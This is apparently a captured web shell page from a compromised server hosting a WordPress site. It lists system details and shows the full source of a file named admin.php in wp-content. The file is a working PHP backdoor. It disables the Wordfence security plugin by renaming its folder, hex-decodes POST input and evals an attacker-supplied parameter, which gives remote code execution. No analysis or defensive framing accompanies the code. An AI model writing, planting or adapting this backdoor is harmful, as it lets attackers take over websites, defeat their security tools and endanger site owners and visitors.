HEX

Server: Apache/2

System: Linux saturn 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64

User: centuryt (1072)

PHP: 7.4.33

Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname

Upload Files

File: /home/centuryt/domains/centurytrading.mu/public_html/wp-content/admin.php

<?php 
if (is_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence/wordfence.php')) {rename($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence',$_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence'.rand());}
foreach($_POST as $k => $v){
	$kk = @pack("H*", $k);
	$_POST[$kk]=@pack("H*", $v);
}
@eval($_POST['google']);
echo 'AGM';
?>